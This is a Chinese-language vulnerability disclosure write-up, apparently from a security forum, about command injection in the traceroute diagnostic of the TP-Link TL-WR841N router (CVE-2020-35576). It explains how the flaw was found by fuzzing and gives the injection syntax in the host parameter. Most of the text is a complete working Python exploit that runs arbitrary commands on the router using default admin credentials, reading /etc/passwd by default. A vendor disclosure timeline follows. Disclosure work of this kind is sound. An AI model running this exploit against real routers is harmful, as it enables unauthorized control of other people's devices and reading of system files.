Tp-link TL-WR841N是中国普联(Tp-link)公司的一款无线路由器。 TP-Link TL-WR841N 存在参数注入漏洞,该漏洞允许远程经过身份验证的恶意用户在系统上执行任意命令,攻击者可以利用这个漏洞在系统上执行任意命令。

受影响的固件

TL-WR841N(JP)_V13_161028
<=0.9.1 4.0 v0188.0 Build 161028 Rel.66845n (latest at time of report)

CVSS 分数:7.2

从流量中发现BUG

路由器提供许多系统诊断工具,包括Ping和Traceroute,用户可以输入指令在路由器系统上执行这些命令。从经验来看,Webcams和Smart Speakers这类IoT设备都存在因为系统诊断工具存在而导致的高危漏洞,所以尝试从客户端和路由器交互过程分析是否存在可能的安全漏洞。

客户通过浏览前使用路由器的Tarceroute功能时候会发送如下请求:

[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8
maxHopCount=20
timeout=50
numberOfTries=1
host=127.0.0.1
dataBlockSize=64
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
X_TP_HopSeq=0

如果执行成功返回[error]0,如果失败范围一个非0数值。

跟踪请求,客户端浏览器会先发送如下请求初始化Traceroute功能:

[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0

同样,如果路由器没有出错会返回[error]0,然后客户端浏览器会继续发送如下请求:

[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3
diagnosticsState
X_TP_HopSeq
X_TP_Result

然后路由器响应:

[0,0,0,0,0,0]0
diagnosticsState=Requested
X_TP_HopSeq=0
X_TP_Result={results}
[error]0

所有这些请求都是客户端发起,总共有三个,也就是说在Traceroute调用期间浏览器发送的三个请求数据包都是用户可控的。

由于在不逆向固件的条件下无法知道后台的工作逻辑,采用Fuzzer技术对输入点进行测试,看以下哪些字符会被过滤:

|  ; & $ > < ` \ !

测试的时候可以猜测后台的运行逻辑,比如这里假设是system("command")的情况。在测试不同参数的注入点的时候,需要使用单引号或者双引号闭合system的参数,然后注入攻击者的测试Payload。最终在第一个请求的host参数发现命里注入问题,如下:

"`payload

接下来就是考虑如何利用这个漏洞。

利用

下面给出完整的利用POC,这个POC可以在默认配置下对漏洞版本的TP-LINK进行攻击,从而执行任意系统命令。特别注意如果在测试自己的路由器的时候执行了rm -ef命令,那么路由器可能会永久坏掉,重置都没办法恢复。

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default `cat etc/passwd`")
        payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
    'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[-] Cannot get response. Please check your cookie.')

if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)


if '=:' in response3.text.splitlines()[3]:
    print('[-] Command not supported.')
else:
    print('[+] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):        
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
                if 'not known' in line:
                    break
        except IndexError:
            break

漏洞时间线

2020-12-14 19:27:15 JST - 报告给Vendor (security@tp-link.com)
2020-12-15 18:33:09 JST - Vendor回应
2020-12-15 22:11:31 JST - CVE申请
2020-12-18 20:33:37 JST - 向Vendor汇报漏洞细节
2020-12-20 14:31:57 JST - 得到CVE-2020-35576编号
2020-12-21 12:10:57 JST - 告诉Vendor漏洞利用方式
2020-12-21 14:57:08 JST - Vendor回应会更新补丁
2020-12-31 18:57:06 JST - Vendor发送一个新的固件版本
2021-01-02 11:36:58 JST - 测试固件版本没有问题并通知Vendor
2021-01-13 12:39:06 JST - Vendor发布新的固件版本

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖